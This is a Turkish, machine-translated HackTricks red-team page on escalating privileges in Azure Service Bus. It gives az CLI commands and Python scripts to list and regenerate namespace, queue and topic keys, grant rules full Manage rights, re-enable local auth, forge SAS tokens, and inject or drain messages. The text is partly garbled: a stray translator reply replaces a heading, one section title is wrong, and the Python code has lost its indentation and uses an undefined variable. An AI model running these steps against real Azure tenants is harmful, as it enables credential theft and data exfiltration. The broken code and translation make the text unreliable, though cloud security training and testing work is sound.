Az - Service Bus Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Service Bus

Daha fazla bilgi için kontrol edin:

Az - Service Bus

Microsoft.ServiceBus/namespaces/authorizationrules/listKeys/action VEYA Microsoft.ServiceBus/namespaces/authorizationrules/regenerateKeys/action

Bu izinler, bir Service Bus ad alanındaki yerel yetkilendirme kuralları için anahtarları almanıza veya yeniden oluşturmanıza olanak tanır. Bu anahtarları kullanarak, Service Bus ad alanı olarak kimlik doğrulaması yapabilir, herhangi bir kuyruk veya konuya mesaj gönderebilir, herhangi bir kuyruktan veya abonelikten mesaj alabilir veya sistemle, operasyonları kesintiye uğratabilecek, geçerli kullanıcıları taklit edebilecek veya mesajlaşma iş akışına kötü niyetli veriler enjekte edebilecek şekillerde etkileşimde bulunabilirsiniz.

Varsayılan olarak, RootManageSharedAccessKey kuralı, Service Bus ad alanı üzerinde tam kontrol sağlar ve az cli tarafından kullanılır, ancak başka anahtar değerlerine sahip diğer kurallar da mevcut olabilir.

# List keys
az servicebus namespace authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --authorization-rule-name RootManageSharedAccessKey [--authorization-rule-name RootManageSharedAccessKey]

# Regenerate keys
az servicebus namespace authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> [--authorization-rule-name RootManageSharedAccessKey]

Microsoft.ServiceBus/namespaces/AuthorizationRules/write

Bu izinle, tüm izinlere ve kendi anahtarlarına sahip yeni bir yetkilendirme kuralı oluşturmak mümkündür:

az servicebus namespace authorization-rule create --authorization-rule-name "myRule" --namespace-name mynamespacespdemo --resource-group Resource_Group_1 --rights Manage Listen Send

Warning

Bu komut anahtarlarla yanıt vermez, bu nedenle ayrıcalıkları artırmak için önceki komutlar (ve izinler) ile bunları almanız gerekir.

Ayrıca, bu komutla (Microsoft.ServiceBus/namespaces/authorizationRules/read) Azure CLI aracılığıyla bu işlemi gerçekleştirirseniz, mevcut bir yetkilendirme kuralını güncelleyip ona daha fazla izin verebilirsiniz (eğer bazı izinlerden yoksunsa) aşağıdaki komutla:

az servicebus namespace authorization-rule update \
--resource-group <MyResourceGroup> \
--namespace-name <MyNamespace> \
--name RootManageSharedAccessKey \
--rights Manage Listen Send

Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action

Bir Service Bus ad alanındaki belirli konular ve kuyruklar, varlığa erişimi kontrol etmek için kullanılabilecek kendi yetkilendirme kurallarına sahip olabilir. Bu izinlere sahip olarak, bu yerel yetkilendirme kuralları için anahtarları alabilir veya yeniden üretebilirsiniz, bu da sizi varlık olarak kimlik doğrulamanıza ve potansiyel olarak mesaj göndermenize veya almanıza, abonelikleri yönetmenize veya sistemle, operasyonları bozabilecek, geçerli kullanıcıları taklit edebilecek veya mesajlaşma iş akışına kötü niyetli veriler enjekte edebilecek şekillerde etkileşimde bulunmanıza olanak tanır.

# List keys (topics)
az servicebus topic authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>

# Regenerate keys (topics)
az servicebus topic authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>

# List keys (queues)
az servicebus queue authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>

# Regenerate keys (queues)
az servicebus queue authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>

Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/write

Bu izinle, tüm izinlere ve kendi anahtarlarına sahip yeni bir yetkilendirme kuralı oluşturmak mümkündür:

# In a topic
az servicebus topic authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send

# In a queue
az servicebus queue authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send

Warning

Bu komut anahtarlarla yanıt vermez, bu nedenle ayrıcalıkları artırmak için önceki komutlar (ve izinler) ile bunları almanız gerekir.

Ayrıca, bu komutla (Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/read) Azure CLI üzerinden bu işlemi gerçekleştirirseniz, mevcut bir yetkilendirme kuralını güncelleyip ona daha fazla izin verebilirsiniz (eğer bazı izinlerden yoksun ise) aşağıdaki komutla:

# In a topic
az servicebus topic authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send

# In a queue
az servicebus queue authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send

Microsoft.ServiceBus/namespaces/write (& Microsoft.ServiceBus/namespaces/read if az cli is used)

Bu izinlerle bir saldırgan “yerel kimlik doğrulamayı” yeniden etkinleştirebilir ve bu nedenle paylaşılan politikalardan tüm anahtarlar çalışacaktır.

az servicebus namespace update --disable-local-auth false -n <namespace-name> --resource-group <res-group>

Mesajları Anahtarlarla Gönder (Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action VEYA Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action)

PrimaryConnectionString’i alabilirsiniz; bu, Service Bus ad alanı için bir kimlik bilgisi olarak işlev görür. Bu bağlantı dizesi ile, Service Bus ad alanı olarak tamamen kimlik doğrulaması yapabilir, herhangi bir kuyruk veya konuya mesaj gönderebilir ve potansiyel olarak sistemi, operasyonları kesintiye uğratacak, geçerli kullanıcıları taklit edecek veya mesajlaşma iş akışına kötü niyetli veriler enjekte edecek şekilde etkileşime geçebilirsiniz. Bu yöntem, --disable-local-auth false olarak ayarlandığında çalışır (yani yerel kimlik doğrulama etkinleştirilmiştir).

import asyncio
from azure.servicebus.aio import ServiceBusClient
from azure.servicebus import ServiceBusMessage
# pip install azure-servicebus

NAMESPACE_CONNECTION_STR = "<PrimaryConnectionString>"
TOPIC_OR_QUEUE_NAME = "<TOPIC_OR_QUEUE_NAME>"

async def send_message():
async with ServiceBusClient.from_connection_string(NAMESPACE_CONNECTION_STR) as client:
async with client.get_topic_sender(topic_name=TOPIC_OR_QUEUE_NAME) as sender:
await sender.send_messages(ServiceBusMessage("Hacktricks-Training: Single Item"))
print("Sent message")

asyncio.run(send_message())

Ayrıca, az rest ile mesajlar gönderebilirsiniz, bu durumda kullanmak için bir sas token oluşturmanız gerekir.

import time, urllib.parse, hmac, hashlib, base64

def generate_sas_token(uri, key_name, key, expiry_in_seconds=3600):
expiry = int(time.time() + expiry_in_seconds)
string_to_sign = urllib.parse.quote_plus(uri) + "\n" + str(expiry)
signed_hmac_sha256 = hmac.new(key.encode('utf-8'), string_to_sign.encode('utf-8'), hashlib.sha256).digest()
signature = urllib.parse.quote_plus(base64.b64encode(signed_hmac_sha256))
token = f"SharedAccessSignature sr={urllib.parse.quote_plus(uri)}&sig={signature}&se={expiry}&skn={key_name}"
return token

# Replace these with your actual values
resource_uri = "https://<namespace>.servicebus.windows.net/<queue_or_topic>"
key_name = "<SharedKeyName>"
primary_key = "<PrimaryKey>"

sas_token = generate_sas_token(resource_uri, key_name, primary_key)
print(sas_token)
az rest --method post \
--uri "https://<NAMESPACE>.servicebus.windows.net/<queue>/messages" \
--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=https%3A%2F%2F<NAMESPACE>.servicebus.windows.net%2F<TOPIC_OR_QUEUE_NAME>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>" \
--body "<MESSAGE_BODY>"

Anahtarlarla Al (Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action VEYA Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action)

PrimaryConnectionString’i alabilirsiniz, bu Service Bus ad alanı için bir kimlik bilgisi olarak hizmet eder. Bu bağlantı dizesini kullanarak, ad alanındaki herhangi bir kuyruktan veya abonelikten mesaj alabilirsiniz, bu da potansiyel olarak hassas veya kritik verilere erişim sağlar, veri sızdırılmasını mümkün kılar veya mesaj işleme ve uygulama iş akışlarını etkileyebilir. Bu yöntem, --disable-local-auth false olarak ayarlandığında çalışır.

import asyncio
from azure.servicebus.aio import ServiceBusClient
# pip install azure-servicebus

CONN_STR = "<PrimaryConnectionString>"
QUEUE = "<QUEUE_NAME>"

# For topics/subscriptions, you would use:
# TOPIC = "<TOPIC_NAME>"
# SUBSCRIPTION = "<TOPIC_SUBSCRIPTION_NAME>"

async def receive():
async with ServiceBusClient.from_connection_string(CONN_STR) as client:
# For a queue receiver:
async with client.get_queue_receiver(queue_name=QUEUE, max_wait_time=5) as receiver:
msgs = await receiver.receive_messages(max_wait_time=5, max_message_count=20)
for msg in msgs:
print("Received:", msg)
await receiver.complete_message(msg)

# For a topic/subscription receiver (commented out):
# async with client.get_subscription_receiver(topic_name=TOPIC, subscription_name=SUBSCRIPTION, max_wait_time=5) as receiver:
#     msgs = await receiver.receive_messages(max_wait_time=5, max_message_count=20)
#     for msg in msgs:
#         print("Received:", msg)
#         await receiver.complete_message(msg)

asyncio.run(receive())
print("Done receiving messages")

Ayrıca, az rest ile mesajlar gönderebilirsiniz, bu durumda kullanmak için bir sas token oluşturmanız gerekir.

import time, urllib.parse, hmac, hashlib, base64

def generate_sas_token(uri, key_name, key, expiry_in_seconds=3600):
expiry = int(time.time() + expiry_in_seconds)
string_to_sign = urllib.parse.quote_plus(uri) + "\n" + str(expiry)
signature = urllib.parse.quote_plus(base64.b64encode(
hmac.new(key.encode('utf-8'), string_to_sign.encode('utf-8'), hashlib.sha256).digest()
))
token = f"SharedAccessSignature sr={urllib.parse.quote_plus(uri)}&sig={signature}&se={expiry}&skn={key_name}"
return token

# Example usage:
resource_uri = "https://<namespace>.servicebus.windows.net/queue"  # For queue
# resource_uri = "https://<namespace>.servicebus.windows.net/<topic>/subscriptions/<subscription>"  # For topic subscription
sas_token = generate_sas_token(resource_uri, "<KEYNAME>", "<PRIMARY_KEY>")
print(sas_token)

Bir kuyruk için mesajı alabilir veya göz atabilirsiniz (mesajları almak onları kaldırır, göz atmak ise kaldırmaz):

#Get a message
az rest --method post \
--uri "https://<NAMESPACE>.servicebus.windows.net/<QUEUE>/messages/head?timeout=60" \
--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#Peek a message
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<QUEUE>/messages/head?peekonly=true&timeout=60" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#You can select the meesage changing the field PreviousSequenceNumber
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<ENTITY>/messages?timeout=60&PreviousSequenceNumber=<LAST_SEQUENCE_NUMBER>&api-version=2017-04" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

Lütfen çevirmemi istediğiniz metni paylaşın.

#Get a message
az rest --method post \
--uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages/head?timeout=60" \
--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#Peek a message
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages/head?timeout=60&api-version=2017-04" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#You can select the meesage changing the field PreviousSequenceNumber
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages?timeout=60&PreviousSequenceNumber=<LAST_SEQUENCE_NUMBER>&api-version=2017-04" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

Mesaj Gönder. DataActions: Microsoft.ServiceBus/namespaces/messages/send/action

Bu izinleri, --disable-local-auth true olarak ayarlanmış olsa bile mesaj göndermek için kullanabilirsiniz.

import asyncio
from azure.identity.aio import DefaultAzureCredential
from azure.servicebus.aio import ServiceBusClient
from azure.servicebus import ServiceBusMessage
# pip install azure-servicebus

NS = "<namespace>.servicebus.windows.net"  # Your namespace
QUEUE_OR_TOPIC = "<QUEUE_OR_TOPIC>"        # Your queue name

async def run():
credential = DefaultAzureCredential()
async with ServiceBusClient(fully_qualified_namespace=NS, credential=credential) as client:
#async with client.get_topic_sender(topic_name=TOPIC) as sender: # Use this to send the message to a topic
async with client.get_queue_sender(queue_name=QUEUE) as sender:
await sender.send_messages(ServiceBusMessage("Single Message"))
print("Sent a single message")
await credential.close()

if __name__ == "__main__":
asyncio.run(run())

Mesajları Al. DataActions: Microsoft.ServiceBus/namespaces/messages/receive/action

Bu izinleri, --disable-local-auth true olarak ayarlanmış olsa bile mesajları almak için kullanabilirsiniz.

import asyncio
from azure.identity.aio import DefaultAzureCredential
from azure.servicebus.aio import ServiceBusClient
# pip install azure-servicebus

NS = "<namespace>.servicebus.windows.net"
QUEUE = "<QUEUE>"

# For a topic subscription, uncomment and set these values:
# TOPIC = "<TOPIC>"
# SUBSCRIPTION = "<SUBSCRIPTION>"

async def run():
credential = DefaultAzureCredential()
async with ServiceBusClient(fully_qualified_namespace=NS, credential=credential) as client:
# Receiving from a queue:
async with client.get_queue_receiver(queue_name=QUEUE, max_wait_time=5) as receiver:
async for msg in receiver:
print("Received from Queue:", msg)
await receiver.complete_message(msg)

# To receive from a topic subscription, uncomment the code below and comment out the queue receiver above:
# async with client.get_subscription_receiver(topic_name=TOPIC, subscription_name=SUBSCRIPTION, max_wait_time=5) as receiver:
#     async for msg in receiver:
#         print("Received from Topic Subscription:", msg)
#         await receiver.complete_message(msg)

await credential.close()

asyncio.run(run())
print("Done receiving messages")

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin